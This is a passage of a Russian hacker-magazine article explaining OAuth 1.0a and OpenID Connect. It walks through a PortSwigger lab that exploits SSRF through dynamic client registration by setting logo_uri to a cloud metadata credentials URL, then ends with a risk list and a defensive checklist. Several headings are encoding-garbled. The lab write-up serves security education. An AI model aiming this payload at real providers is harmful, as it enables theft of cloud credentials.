угод но). Метод, которым он это дела ет, в спе цифи кации не опре делен.

•

Пос ле того как поль зователь под твержда ет дос туп, сер вис-про вай дер воз- 
вра щает его на сайт пот ребите ля, вмес те с тем же токеном и парамет ром

. Этот параметр появил ся в OAuth 1.0a и явля ется кодом

верифи кации, который мы уже зна ем по OAuth 2.0.

oauth_verifier

HTTP/1.1 302 Found 
Location: [https://www.example.com/oauth/callback/twitter?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0&oauth_
verifier=uw7NjWHT6OJ1MpJOXsHfNxoAhPKpgI8BlYDhxEjIBY](https://www.
example.com/oauth/callback/twitter?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0&oauth_
verifier=uw7NjWHT6OJ1MpJOXsHfNxoAhPKpgI8BlYDhxEjIBY) 

Ïîëó÷åíèå access-òîêåíà
Пот ребитель получа ет эти парамет ры и исполь зует уже авто ризо ван ный
токен, что бы зап росить , с которым он наконец смо жет

получить дос туп к ресур сам.

access_token

Суть это го зап роса — обме нять авто ризо ван ный 

на .

oauth_token
access_token
В зап росе отправ ляют ся:

 — иден тифици рует при ложе ние для сер вис-про- 
вай дера. Наз нача ется при регис тра ции при ложе ния;

• oauth_consumer_key

 — метод под писи отправ ляемых дан ных;• oauth_signature_method

 — сама под пись, алго ритм генера ции которой мы
разоб рали выше;

• oauth_signature

 — timestamp, ког да была сге нери рова на под пись;• oauth_timestamp

 — авто ризи рован ный токен, который мы обме няем
на access-токен;

• oauth_token

 — слу чай ная стро ка, уни каль ная для каж дого зап роса, что- 
бы пре дот вра тить replay-ата ки;

• oauth_nonce

 — исполь зуемая вер сия OAuth.• oauth_version

Выг лядит зап рос при мер но сле дующим обра зом:

POST /oauth/get_access_token HTTP/1.1 
Host: [api.twitter.com](http://api.twitter.com/) 

Authorization: OAuth oauth_consumer_key="cChZNFj6T5R0TigYB9yd1w", 
oauth_signature_method="HMAC-SHA1", 
oauth_signature="nPPh4sLZaCrSAD2moyG6%2Bp8lPuM%3D" 
oauth_timestamp="1340653420", 
oauth_token="NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0", 
oauth_nonce="OT1DI4X0Wer1ezbuhCnoqCFr9qjrmQZ6", 
oauth_version="1.0" 

В отве те воз вра щает ся  — токен, с помощью которо го мож но
получать дос туп к ресур сам.

access_token

Вот так:

HTTP/1.1 200 OK 
Content-Type: application/x-www-form-urlencoded 

access_token=6cccgqOBPO4d3MikG5BkSv2ONp1rBZRtSZW9E9OAppr 

Ïîëó÷åíèå äîñòóïà ê çàùèùåííûì ðåñóðñàì
Пос ле получе ния access-токена пот ребитель может получить дос туп
к защищен ным ресур сам от име ни поль зовате ля. Зап рос дол жен быть под- 
писан и дол жен содер жать сле дующие парамет ры:

 — ключ, который иден тифици рует пот ребите ля;• oauth_consumer_key

 — OAuth-токен для дос тупа к его ресур сам;• oauth_token

 — метод под писи;• oauth_signature_method

 — под пись зап роса;• oauth_signature

 — timestamp, ког да была сге нери рова на под пись;• oauth_timestamp

 — слу чай ная стро ка, что бы пре дот вра тить replay-ата ки;• oauth_nonce

 — вер сия OAuth, которая будет исполь зовать ся во всем
про цес се.

• oauth_version

На этом флоу окон чен.
Еще одна обоб щающая схе ма.

Схе ма работы OAuth 1.0

ÏÐÎÁËÅÌÛ OAUTH

Срав нение пер вой и вто рой вер сии OAuth

Глав ные проб лемы OAuth 1.0 и OAuth 1.0a были в слож ности реали зации это- 
го про токо ла, имен но на нее и жалова лись раз работ чики. Ты сам толь ко что
про читал весь флоу и убе дил ся, что на всех эта пах исполь зует ся мно го крип- 
тогра фии.

Кро ме это го, поль зовате ли отме чали сле дующее:
по умол чанию в OAuth 1.0 токены могут иметь бес конеч ный срок дей ствия,
если это не нас тро ено ина че на сто роне сер вис-про вай дера;

•

от сутс тву ет механизм refresh-токенов, нуж ных, что бы выписать новый
access-токен без пов торно го зап роса дан ных авто риза ции у поль зовате- 
ля;

•

OAuth 1.0 ори енти рован на исполь зование в бра узе ре, а не отдель ных
при ложе ниях;

•

ме хани ка ско упов никак не стан дарти зиро вана (и отсутс тву ет на сто роне
поль зовате ля).

•

Кро ме ско упов, в спе цифи кации еще мно жес тво про белов, которые соз дают
мно го раз вилок для вари атив ности и допуще ния потен циаль но опас ных оши- 
бок. Джун, который рань ше не слы шал об OAuth 1.0, толь ко что озна комил ся
с про токо лом и впер вые пишет код, с немалой веро ятностью допус тит эти
ошиб ки.

Как мы уже узна ли, на сме ну OAuth 1.0a при шел OAuth 2.0, став ший пол- 
ноцен ным фрей мвор ком. Но есть еще один про токол, который в пер спек тиве
выг лядит гораз до инте рес нее пре дыду щих, пос коль ку еще более стан дарти- 
зиро ван и реша ет некото рые проб лемы OAuth 2.0. Его сей час мы и рас смот- 
рим более деталь но.

ÇÍÀÊÎÌÑÒÂÎ Ñ OPENID CONNECT

Êàê OpenID ñâÿçàí ñ OAuth

Ло готип OpenID Connect

OpenID Connect — это стан дарт, который рас ширя ет исходный про токол
авто риза ции OAuth и опи сыва ет, как пос тро ить поверх него логику с иден- 
тифика цией и аутен тифика цией поль зовате ля.

Он был раз работан из-за того, что в клас сичес ком про токо ле нет аутен- 
тифика ции. Клас сичес кий OAuth соз дан, что бы при ложе ния мог ли выдавать
друг дру гу пол номочия на дос туп к ресур сам, а не для под твержде ния лич- 
ности поль зовате ля.

OpenID Connect в решении с Hybrid Flow может гаран тировать как авто- 
риза цию, так и аутен тифика цию, что дела ет его уни вер саль ным и более
совер шенным ана логом клас сичес кого OAuth, OAuth 1.0a и OAuth 2.0.

OAuth íå ðåøàåò çàäà÷ó àóòåíòèôèêàöèè

Аутен тифика ция и псев доаутен тифика ция

Ла бора тор ная работа, которую мы решали в , показы вает
это на реаль ном при мере. Поль зователь при ходит к при ложе нию с каким-то
токеном и говорит, что он его вла делец. Но при ложе ние при этом не может
про верить, дей стви тель но ли человек, который пред ста вил ся ука зан ным
токеном, тот, за кого себя выда ет.

пер вой статье

То кен может быть получен через взло ман ное при ложе ние (кто-то слил
базу с токена ми) или перенап равле ние на под дель ный сайт, который затем
передаст токен зло умыш ленни ку. Мы зна ем уже мно го спо собов кра жи
токенов и про вери ли их на прак тике.

В таких слу чаях при ложе ние может счи тать поль зовате ля аутен тифици- 
рован ным толь ко на осно ве наличия токена, но фак тичес ки зло умыш ленник
исполь зует чужой токен. Все рав но что украсть ключ от чужой квар тиры и вой- 
ти в нее под видом реаль ного хозя ина.

То кен OAuth по сво ей при роде пред назна чен для того, что бы пре дос- 
тавить дос туп к ресур сам от име ни поль зовате ля. Хотя в самом токене может
быть закоди рова на мета информа ция о его вла дель це, эта информа ция
не была пре дос тавле на с целью аутен тифика ции и на нее нель зя полагать ся
как на доказа тель ство лич ности.

В пер вой лабора тории раз работ чики решили проб лему собс твен ным спо- 
собом — научи лись при нимать email от поль зовате ля в качес тве логина
и OAuth-токен в качес тве пароля. Даль ше была валида ция токена, но не было
никакой про вер ки, что к ним при шел тот поль зователь, чей email мог ука зать
хакер. Так и воз никла уяз вимость, которая поз волила вой ти в любой чужой
акка унт.

Аутен тифика ция и авто риза ция

Ре али заций, которые несут рис ки, очень и очень мно го. Каж дая из них далека
от иде ала, и при ложе ниям при ходит ся по кос венным приз накам опре делять,
ког да, где или как поль зователь был аутен тифици рован, что очень и очень
ненадеж но.

Мо гут воз никнуть воп росы, нап ример: «Может быть, спро сить у поль- 
зовате ля, какой email был ука зан у вла дель ца токена? Или нуж но уточ нить его
номер телефо на с кодовым сло вом, которые знал бы толь ко соз датель акка- 
унта на сер вере ресур сов?» Но все это не поз воля ет точ но аутен тифици- 
ровать поль зовате ля.

Кро ме того, для над лежащей под дер жки OAuth кли ент ским при ложе ниям
приш лось бы нас тра ивать отдель ные механиз мы для каж дого про вай дера,
каж дый с раз ными эндпо инта ми, уни каль ными набора ми ско упов и так далее.

OpenID Connect реша ет мно гие проб лемы, добав ляя стро гую стан дарти- 
зацию, что бы сде лать аутен тифика цию через OAuth надеж ной, прос той и еди- 
нооб разной.

Кро ме того, он пос тро ен на базе обыч ного OAuth, бла года ря это му
на него лег ко перей ти.

ÏÐÈÍÖÈÏ ÐÀÁÎÒÛ OPENID CONNECT

Для начала уточ ним тер миноло гию. OpenID Connect вво дит нес коль ко клю- 
чевых тер минов, нез накомых по обыч ному OAuth. Вот они:

 — это при ложе ние, которое зап рашива ет аутен- 
тифика цию поль зовате ля. Синоним обыч ного OAuth Client Application.

• Relying Party (RP)

 — это служ ба,

которая аутен тифици рует поль зовате лей и пре дос тавля ет информа цию
про веря ющим сто ронам (RP) или кли ент ским при ложе ниям. Отве чает
за про вер ку лич ности поль зовате ля.

• Identity Provider (IdP) èëè OpenID Provider (OP)

 — поль зователь, который вза имо дей ству ет с самим при ложе- 
нием и Identity-про вай дером. Синоним Resource Owner из клас сичес кого
OAuth.

• End-User

 — , который выписы вает Identity
Provider пос ле успешной аутен тифика ции. В него закоди рова на информа- 
ция об аутен тифици рован ном поль зовате ле, вклю чая его ID и имя. Identity-
токен — это основное рас ширение для аутен тифика ции через OAuth 2.0.

• Identity Token (ID Token) JWT-токен

 — атри буты конеч ного поль зовате ля в фор мате 

вро де .

• Claims ключ: значение

first_name: Ivan

Hybrid Flow
Для начала прос тая кар тинка.

Прос тая схе ма OpenID Connect

А теперь более слож ная и более под робная.

Слож ная схе ма OpenID Connect

Продолжение статьи →

https://xakep.ru/2024/09/04/oauth-deep-dive-basic/
https://xakep.ru/2024/09/13/oauth-vuln-chains/
https://xakep.ru/2024/09/04/oauth-deep-dive-basic/
https://blog.postman.com/what-is-jwt/


ПОСЛЕ OAUTH
РАЗБИРАЕМ АТАКИ НА OPENID

CONNECT

COVERSTORY  НАЧАЛО СТАТЬИ←

OpenID под держи вает Client Credentials Grant, Resource Owner Password
Grant, Implicit Flow и Hybrid Flow. Рас смот рим флоу аутен тифика ции Hybrid
Flow, который ком биниру ет эле мен ты  и 

 из OAuth 2.0:

Authorization Code Flow Implicit

Flow

1. . Про веря ющая сто рона (Relying Party) ини- 

циирует зап рос аутен тифика ции, нап равляя бра узер поль зовате ля
OpenID-про вай деру (OpenID Provider).

Authentication Request

2. . Про вай дер OpenID аутен тифици рует поль зовате ля. Этот

про цесс может раз личать ся в зависи мос ти от про вай дера, но обыч но он
вклю чает зап рос учет ных дан ных поль зовате ля и их про вер ку.

Authentication

3. . Пос ле аутен тифика ции поль зовате ля про вай дер
OpenID перенап равля ет бра узер поль зовате ля обратно про веря ющей
сто роне с кодом авто риза ции.

Authorization Code

4. . Про веря ющая сто рона обме нива ет этот код авто риза- 
ции на identity-токен и access-токен.
Token Request

5. . Identity Token — это JWT-токен, в котором хра нит ся

информа ция об аутен тифика ции конеч ного поль зовате ля. Про веря ющая
сто рона про веря ет этот токен, что бы убе дить ся в его дей стви тель нос ти
и получить информа цию о поль зовате ле.

Token Verification

Как мож но заметить, бег ло про читав эти пун кты, в обыч ном OAuth воз вра- 
щает ся толь ко access-токен, в OpenID еще воз вра щает ся identity-токен,
наличие которо го под твержда ет, что поль зователь аутен тифици ровал ся.

Вто рое отли чие зак люча ется в ско упах. На эта пе Authentication Request
в парамет ре  всег да отправ ляет ся зна чение , а пос ле него сле- 

дуют области дан ных, к которым при ложе ние хочет получить дос туп, нап- 
ример . Это не обыч ные ско упы, а клей- 
мы, за каж дым из которых может быть зак репле но нес коль ко атри бутов.

scope openid

scope=openid profile email phone

Кро ме того, если в базовом OAuth каж дый сер вер авто риза ции ука зывал
собс твен ный набор полей, то в OpenID спи сок полей у всех про вай деров уни- 
фици рован и опи сан в спе цифи кации.

И третье отли чие зак люча ется в наличии трех обя затель ных эндпо интов:
Authorization;•
Token;•
UserInfo.•

А так же опци ональ ных:
WebFinger;•
Provider metadata;•
Provider JWK set;•
Client registration;•
Session management.•

Один из них мы рас смот рим далее более под робно.

×ÒÎ ÇÀØÈÒÎ Â IDENTITY TOKEN

Наг лядное срав нение identity-токена и access-токена мож но пос мотреть
на кар тинке ниже.

Срав нение identity- и access-токенов

Мы не будем под робно раз бирать access-токен, потому что и так о нем уже
дос таточ но зна ем и работа ли с ним на прак тике. Важ но раз личать токены
и знать, что access-токен исполь зует ся для получе ния дан ных о поль зовате ле
от про вай дера OpenID, а ID — для его аутен тифика ции про веря ющей сто- 
роной. Поэто му прис таль нее раз берем Identity Token.

Identity Token мож но вос при нимать как удос товере ние лич ности, которое
под писано про вай дером OpenID. Что бы его получить, кли ент дол жен быть
аутен тифици рован.

Îñî áåí íîñòè identity-òîêåíà:

под твержда ет лич ность поль зовате ля, который называ ется субъ ектом
в OpenID ( );

•
sub

ука зыва ет на орган, который его выписал ( );• iss

ге нери рует ся для опре делен ной ауди тории, то есть кли ента ( );• aud

мо жет содер жать крип тогра фичес кий  для пре дот вра щения replay-
атак;

• nonce

мо жет ука зывать, ког да ( ) и как ( ) поль зователь был аутен- 
тифици рован;

• auth_time acr

ука зыва ет, ког да был выписан токен ( ) и каков срок его дей ствия ( );• iat exp

мо жет вклю чать допол нитель ные све дения о субъ екте, такие как имя
и адрес элек трон ной поч ты;

•

име ет циф ровую под пись, поэто му его может про верить пред полага емый
получа тель;

•

мо жет быть допол нитель но зашиф рован для кон фиден циаль нос ти.•

Identity-токен может быть упа кован в прос той объ ект JSON:

{
   "sub"       : "alice",
   "iss"       : "https://openid.c2id.com",
   "aud"       : "client-12345",
   "nonce"     : "n-0S6_WzA2Mj",
   "auth_time" : 1311280969,
   "acr"       : "https://load.c2id.com/high",
   "iat"       : 1311280970,
   "exp"       : 1311281970
}

Этот объ ект зашит в JWT, который закоди рован в Base64.

eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ.ewogImlzcyI6ICJodHRw 
Oi8vc2VydmVyLmV4YW1wbGUuY29tIiwKICJzdWIiOiAiMjQ4Mjg5NzYxMDAxIiw 
KICJhdWQiOiAiczZCaGRSa3F0MyIsCiAibm9uY2UiOiAibi0wUzZfV3pBMk1qIi 
wKICJleHAiOiAxMzExMjgxOTcwLAogImlhdCI6IDEzMTEyODA5NzAKfQ.ggW8hZ 
1EuVLuxNuuIJKX_V8a_OMXzR0EHR9R6jgdqrOOF4daGU96Sr_P6qJp6IcmD3HP9 
9Obi1PRs-cwh3LO-p146waJ8IhehcwL7F09JdijmBqkvPeB2T9CJNqeGpe-gccM 
g4vfKjkM8FcGvnzZUN4_KSP0aAp1tOJ1zZwgjxqGByKHiOtX7TpdQyHE5lcMiKP 
XfEIQILVq0pc_E2DzL7emopWoaoZTF_m0_N0YzFC6g6EJbOEoRoSK5hoDalrcvR 
YLSrQAZZKflyuVCyixEoV9GfNQC3_osjzw2PAithfubEEBLuVVk4XUVrWOLrLl0 
nx7RkKU8NXNHq-rvKMzqg 

Под робнее о струк туре дан ных JWT и ее кодиров ке мож но про читать в RFC
7519, а об ата ках на JWT — в .мо ей пре дыду щей статье

OPENID CONNECT DISCOVERY

OpenID Connect Discovery (он же WebFinger) — это механизм, который поз- 
воля ет узнать всю необ ходимую информа цию о про вай дере OpenID, что дает
воз можность интегри ровать с ним целевое при ложе ние, или Relying Party,
как оно называ ется в OpenID.

Ме ханизм WebFinger

OpenID Connect Discovery пре дос тавля ет метадан ные кон фигура ции про вай- 
дера, вклю чая:

URL для авто риза ции ( );• authorization_endpoint

URL для получе ния токенов ( );• token_endpoint

URL для получе ния информа ции о поль зовате ле ( );• userinfo_endpoint

под держи ваемые токены и алго рит мы;•
под держи ваемые клей мы (нап ример, , , );• sub name email

ме тадан ные для про вер ки под писи токенов ( ) и дру гие важ ные
дан ные.

• jwks_uri

Рас полага ется обыч но по такому адре су:

https://server.com/.well-known/openid-configuration 

И воз вра щает JSON со всей необ ходимой информа цией:

{
   "issuer": "https://example.com/",
   "authorization_endpoint": "https://example.com/authorize",
   "token_endpoint": "https://example.com/token",
   "userinfo_endpoint": "https://example.com/userinfo",
   "jwks_uri": "https://example.com/.well-known/jwks.json",
   "scopes_supported": [
     "pets_read",
     "pets_write",
     "admin"
   ],
   "response_types_supported": [
     "code",
     "id_token",
     "token id_token"
   ],
   "token_endpoint_auth_methods_supported": [
     "client_secret_basic"
   ],
   ...
}

Обыч но этот эндпо инт может дать мно го полез ной информа ции как для раз- 
работ чика, который интегри рует OpenID в собс твен ный сайт, так и для хакера.

Что бы най ти такой эндпо инт, мож но поп робовать стан дар тный путь из спе- 
цифи кации, либо отко пать в докумен тации раз работ чиков, если она есть
и дос тупна, либо поп робовать вычитать в сооб щени ях об ошиб ках при ложе- 
ния.

ÍÅÇÀÙÈÙÅÍÍÀß ÄÈÍÀÌÈ×ÅÑÊÀß ÐÅÃÈÑÒÐÀÖÈß ÊËÈÅÍÒÀ

Как ты пом нишь, пер вым эта пом в OAuth и OpenID, незави симо от того, какой
про токол исполь зует ся, была регис тра ция самого при ложе ния или про веря- 
ющей сто роны.

Спе цифи кация OpenID Connect опи сыва ет стан дарти зиро ван ный спо соб,
который поз воля ет кли ент ским при ложе ниям регис три ровать ся у про вай дера
OpenID с помощью выделен ного для это го эндпо инта. Это удоб но и эко номит
вре мя, потому что для это го не тре бует ся соз давать отдель ный лич ный
кабинет.

Ес ли под держи вает ся динами чес кая регис тра ция кли ента, про веря ющая
сто рона может зарегис три ровать ся, отпра вив спе циаль но сфор мирован ный
POST-зап рос на выделен ный , нап ример 

. Путь может отли чать ся, и обыч но он ука зыва ется в фай ле
с нас трой ками или в докумен тации.

registration_endpoint /
registration

Вза имо дей ствие меж ду RP и OpenID-про вай дером

В теле зап роса кли ент ское при ложе ние отправ ляет клю чевую информа цию
о себе в фор мате JSON. Нап ример, час то в качес тве обя затель ных полей
выс тупа ют имя при ложе ния, его URL, а так же спи сок раз решен ных URI
для перенап равле ния. Типич ный зап рос на регис тра цию выг лядит при мер но
так:

POST /openid/register HTTP/1.1 
Content-Type: application/json 
Accept: application/json 
Host: oauth-authorization-server.com 
Authorization: Bearer ab12cd34ef56gh89 

{ 
   "application_type": "web", 
   "redirect_uris": [ 
       "https://client-app.com/callback", 
       "https://client-app.com/callback2" 
       ], 
   "client_name": "My Application", 
   "logo_uri": "https://client-app.com/logo.png", 
   "token_endpoint_auth_method": "client_secret_basic", 
   "jwks_uri": "https://client-app.com/my_public_keys.jwks", 
   "userinfo_encrypted_response_alg": "RSA1_5", 
   "userinfo_encrypted_response_enc": "A128CBC-HS256", 
   … 
} 

Про вай дер OpenID дол жен пот ребовать от про веря ющей сто роны прой ти
аутен тифика цию. В при мере выше для это го исполь зует ся bearer-токен

. Одна ко некото рые про вай деры раз реша ют динами чес- 

кую регис тра цию кли ентов без какой-либо аутен тифика ции, что поз воля ет
зло умыш ленни ку регис три ровать свое вре донос ное при ложе ние.

ab12cd34ef56gh89

Пос ледс твия могут быть раз ными в зависи мос ти от того, как исполь зуют ся
зна чения этих кон тро лиру емых зло умыш ленни ком свой ств самим про вай- 
дером. Нап ример, ты мог заметить, что некото рые из этих свой ств пред- 
полага ют ука зание URI. Если про вай дер OpenID пыта ется обра тить ся к одно- 
му из них, это может потен циаль но при вес ти к уяз вимос тям типа SSRF, если
не при нять допол нитель ные меры безопас ности.

Ëàáà: SSRF via OpenID dynamic client registration
• Ла бора тор ная работа на сай те PortSwigger

От кры ваем блог, где на кар тинке, кажет ся, изоб ражен читатель, который, уто- 
пая в цен ной инфе, про сит меня оста новить ся и закон чить уже наконец
статью. Кре пись, оста лось сов сем нем ного!

Глав ная стра ница бло га

Ло гиним ся, как мы делали это и рань ше. Здесь сто ит упо мянуть инте рес ный
факт, на который ты мог обра тить вни мание при дол жном изу чении деталей:
во всех лабора тори ях, которые мы решали до это го, исполь зовал ся OpenID.

Ус пешно вош ли в акка унт

Пос коль ку и здесь исполь зует ся OpenID, а лабора тория пос вящена поис ку
уяз вимос тей с помощью механиз ма Discovery, про веря ем все воз можные
дирек тории на наличие кон фигов. Спус тя некото рое вре мя находим такую
пап ку у про вай дера OpenID:

http://oauth-0a67000b04d8701081b36eab026900ea.oauth-server.net/.well-
known/openid-configuration 

Кон фигура ция WebFinger

Здесь есть раз ные парамет ры, такие как уже упо мяну тые под держи ваемые
клей мы и эндпо инты под раз ные нуж ды, но нас инте ресу ет

.registration_endpoint

Эн дпо инт для регис тра ции

Для начала нам надо понять, что вооб ще нуж но отпра вить на него, что бы
зарегис три ровать собс твен ное при ложе ние. Пос коль ку докумен тации у нас
нет, откры ваем этот URL и встре чаем ошиб ку, которая говорит нам о том, что
либо это незаре гис три рован ный мар шрут (что явно не так), либо мы прос то
отпра вили не тот метод.

По пыт ка отпра вить зап рос

И это логич но, пос коль ку мы хотим не получить какую-то информа цию (был бы
метод GET), а зарегис три ровать при ложе ние, то есть отпра вить какие-то
парамет ры, которые дол жны лечь в его осно ву.

Пе рехо дим в Burp Suite и меня ем метод с GET на POST. Вмес то того что бы
перепи сывать руками, мож но прос то клик нуть пра вой кноп кой мыши и выб- 
рать Change request method.

Как быс тро поменять тип зап роса

От прав ляем зап рос и встре чаем новую ошиб ку. Сер вер ожи дает от нас
 вмес то 

, который мы отпра вили.

Content-Type: application/json application/x-www-form-
urlencoded

Неп равиль ный тип кон тента

Это JSON API. Меня ем  на . И , что бы

ска зать сер веру о том, что мы отпра вим ему объ ект JSON. Пос коль ку пока что
мы прос то тес тиру ем этот эндпо инт, что бы изба вить ся от оши бок, дос таточ но
будет не ука зывать парамет ры и отпра вить зап рос пус тым.

Accept application/json Content-Type

Не хва тает парамет ра redirect_uri

Встре чаем ошиб ку . Как ты пом нишь, мы дол жны ука- 

зать допус тимые урлы, на которые сер вер OpenID дол жен уметь перенап- 
равлять поль зовате ля. На один параметр  сер вер выда ет
ошиб ку, поэто му отправ ляем спи сок из того же самого тес тового урла
с помощью .

invalid_redirect_uri

redirect_uri

redirect_uris
Зап рос наконец-то выпол нился. Это го парамет ра ока залось дос таточ но,

что бы сра зу зарегис три ровать пол ноцен ное при ложе ние даже без ука зания
его име ни и дру гих атри бутов.

Ус пешно зарегис три рова ли при ложе ние

На сам  мож но не обра щать вни мания, я пыта юсь ука зывать его

вез де. Но в этот раз ожи даемо отстук, конеч но же, не при шел на этот URL,
поэто му нуж но искать дру гие парамет ры, которые помог ли бы нам про экс плу- 
ати ровать SSRF.

webhook.site

От прав ляем ся на стра ницу Consent Screen (что бы най ти уяз вимость, мне
пот ребова лось вре мя, поэто му тут я решил перей ти сра зу к сути).

В коде при меча телен логотип при ложе ния, в которое мы вхо дим.

Ло готип на стра нице вхо да

При редирек те мож но най ти ссыл ку на изоб ражение. Это логотип, который
был уста нов лен в про цес се регис тра ции при ложе ния.

От куда заг ружа ется логотип

Продолжение статьи →

https://xakep.ru/2024/08/07/jwt-deep-dive/
https://portswigger.net/web-security/oauth/openid/lab-oauth-ssrf-via-openid-dynamic-client-registration


ПОСЛЕ OAUTH
РАЗБИРАЕМ АТАКИ НА OPENID

CONNECT

COVERSTORY  НАЧАЛО СТАТЬИ←

Ло го зап рашива ется через спе циаль ный ID и, что самое глав ное, хра нит ся
на сер вере про вай дера OpenID. Это стран но, ведь если кли ент ское при ложе- 
ние регис три рова лось с собс твен ным URL, то тут дол жен был бы ока зать ся
он, а не ссыл ка на про вай дер.

Здесь мож но пред положить, что про вай дер ходит по пре дос тавлен ной
ссыл ке, ска чива ет изоб ражение и сох раня ет его у себя, отда вая в даль- 
нейшем его с собс твен ного сер вера. Обыч но в таких мес тах и воз ника ют
SSRF-уяз вимос ти.

Мы можем попытать ся отпра вить зап рос, что бы убе дить ся, что это дей- 
стви тель но логотип кли ент ско го при ложе ния, который хос тится у про вай дера
OpenID.

Зап рос на получе ние логоти па

От кры ваем спе цифи кацию и  о динами чес кой регис тра ции собс твен- 
ного при ложе ния с помощью OpenID. Дей стви тель но, находим параметр,
который отве чает за логотип.

чи таем

logo_uri 
OPTIONAL. URL that references a logo for the Client application. If 
present, the server SHOULD display this image to the End-User during 
approval. The value of this field MUST point to a valid image file. 

Поп робу ем сно ва зарегис три ровать собс твен ное при ложе ние и ука зать
в качес тве URL для логоти па тот сер вер, к которо му нам нуж но обра тить ся
по заданию:

http://169.254.169.254/latest/meta-data/iam/security-credentials/
admin/ 

Про киды ваем пей лоад для SSRF

При ложе ние успешно соз дано, но пока что это Blind SSRF или не SSRF вов се,
пос коль ку ответ пос мотреть мы не можем, а веб-хук, который я про бовал ука- 
зывать до это го, в этом поле тоже не сра баты вает. Либо нам сно ва надо
искать новый параметр, либо PortSwigger отклю чает в сво их вир туаль ных
машинах интернет, что бы усложнить жизнь реаль ным зло умыш ленни кам.

Об раща емся к кар тинке:

GET /client/aw5wi0v3hxmbrf60b0sdg/logo HTTP/2 
Host: [oauth-0a94003704d0a6a7c9162297020a00c6.oauth-server.net](
http://oauth-0a94003704d0a6a7c9162297020a00c6.oauth-server.net/) 

Та часть, которая находит ся меж ду  и , — это ID при ложе ния.
Поэто му, что бы уви деть наше лого, в качес тве которо го мы ука зали внут- 
ренний сер вер, нуж но заменить этот ID иден тифика тором того при ложе ния,
которое мы бук валь но толь ко что зарегис три рова ли.

/client/ /logo

Ус пешно экс плу ати рова ли SSRF и получи ли дан ные адми на

Вот мы и получи ли токен адми нис тра тора. Про вай дер OpenID попытал ся заг- 
рузить нашу кар тинку, отпра вил зап рос в свою внут реннюю сеть (на тот URL,
который мы ука зали) и вер нул содер жимое пос ле того, как мы зап росили его.

Те перь оста ется толь ко сдать его и при нять поз драв ления. Мы всё прош- 
ли!

Ус пешное про хож дение лабора тории

×ÅÊ-ËÈÑÒ ÏÐÎÂÅÐÎÊ

Эта серия ста тей мог ла бы про дол жать ся бес конеч но, если бы мы опи сыва ли
все воз можные век торы. В нас тоящее вре мя сущес тву ет драфт будущей спе- 
цифи кации, опи сыва ющий мис конфи гура ции, которые могут воз никнуть
при исполь зовании OAuth, и спо собы защитить ся от их экс плу ата ции.

Этот драфт называ ется OAuth 2.0 Security Best Current Practice, он был
опуб ликован 3 июня 2024 года и содер жит меры по пос тро ению защиты
при исполь зовании это го про токо ла.

Чек-лист багов, которые мож но най ти в OAuth

Здесь есть мно го момен тов, которые мы не рас смот рели, поэто му советую
озна комить ся с докумен том .OAuth 2.0 Security Best Current Practice

ÐÈÑÊÈ

Да вай под конец вкрат це прой дем ся по проб лемным нас трой кам, ошиб кам
прог раммис тов и про чим лазей кам и тех никам, которые могут помочь
хакерам, если при ложе ние исполь зует OAuth или OpenID.

: как про веря ется

параметр  — срав нива ется пол ный адрес или толь ко вхож- 
дение опре делен ного пути? Если выпол няет ся недос таточ ная про вер ка,
это может при вес ти к кра же access-токена.

• Íå äîñ òàòî÷ íàÿ ïðî âåð êà URI ïåðåíàï ðàâëå íèÿ

redirect_uri

: содер жимое зап роса

или отве та авто риза ции может быть неп редна мерен но рас кры то
в заголов ке Referer.

• Óòå÷ êà äàí íûõ ÷åðåç çàãîëîâ êè Referer

: ссыл ки с кодами

авто риза ции могут уте кать в исто рию бра узе ра.

• Óòå÷ êà ó÷åò íûõ äàí íûõ ÷åðåç èñòî ðèþ áðà óçå ðà

: ата ки с получе нием кода авто риза ции или access-токена,
ког да исполь зует ся два сер вера авто риза ции, один из которых находит ся
под кон тро лем зло умыш ленни ка.

• Mix-Up-àòà êè

: зло умыш ленник пыта ется внед рить укра- 
ден ный код авто риза ции в свой сеанс с кли ентом. Цель сос тоит в том, что- 
бы свя зать сеанс зло умыш ленни ка на кли енте с ресур сами или лич ностью
жер твы.

• Èíú åêöèÿ êîäà àâòî ðèçà öèè

: зло умыш ленник исполь зует укра ден ный

токен, что бы выдать себя за его вла дель ца.

• Èíú åêöèÿ access-òîêåíà

: ата ки типа CSRF в кон тек сте OAuth, поз- 
воля ющие выпол нить дей ствие от име ни дру гого поль зовате ля (нап ример,
при вязать свой соци аль ный акка унт к чужому лич ному акка унту на сай те).

• Cross Site Request Forgery

: такое слу чает ся, нап- 

ример, при взло ме базы дан ных.

• Óòå÷ êà access-òîêåíîâ íà ñåð âåðå ðåñóð ñîâ

: поз волит перех ватить коды авто риза ции

и исполь зовать их для обме на на access-токены самос тоятель но.

• Óòå÷ êà ñåê ðåòà êëè åíòà

: если сер вер авто риза ции перенап равля ет
на  с кодом 307 вмес то кода 302, сра зу пос ле того,
как поль зователь вво дит свои учет ные дан ные, зло умыш ленник с собс- 
твен ным вре донос ным при ложе нием может украсть учет ные дан ные поль- 
зовате ля.

• 307-é ðåäèðåêò

redirect_uri

: ата ки на прок- 

си-сер вер, который находит ся перед сер вером авто риза ции, с кас томны- 
ми заголов ками.

• Ïðîê ñè�ñåð âåð, çàâåð øàþùèé TLS-ñîåäè íåíèÿ

: если при ложе ние может выб- 

рать  во вре мя регис тра ции, это может при вес ти к кра же
чужого сек рета.

• Âû äà÷à ñåáÿ çà âëà äåëü öà ðåñóð ñà

client_id

: зап рос авто риза ции под вержен ата ке через под мену объ- 

екта на стра нице на сто роне кли ента. Зло умыш ленник может исполь- 
зовать этот век тор, что бы получить дан ные аутен тифика ции поль зовате ля
и исполь зовать их для дос тупа к ресур сам.

• Clickjacking

Ïðîâåðêè
Ес ли ты внед ряешь OAuth в свой про дукт, обра ти вни мание на сле дующие
момен ты.

OAuth исполь зует ся для аутен тифика ции (про верить реали зацию: мно гие
авто риза цион ные сер веры не верифи циру ют дан ные, которые ука зал
поль зователь).

•

 про веря ет допус тимые URL-адре са.• redirect_uri

Про вер ки  нель зя обой ти с open redirect и path traversal.• redirect_uri

Исполь зует ся параметр , что бы пре дот вра тить CSRF-ата ки.• state

Парамет ры, в которых переда ется URL (нап ример, при регис тра ции при- 
ложе ния), не под верже ны ата кам типа SSRF.

•

Для регис тра ции сво его при ложе ния тре бует ся авто риза ция.•
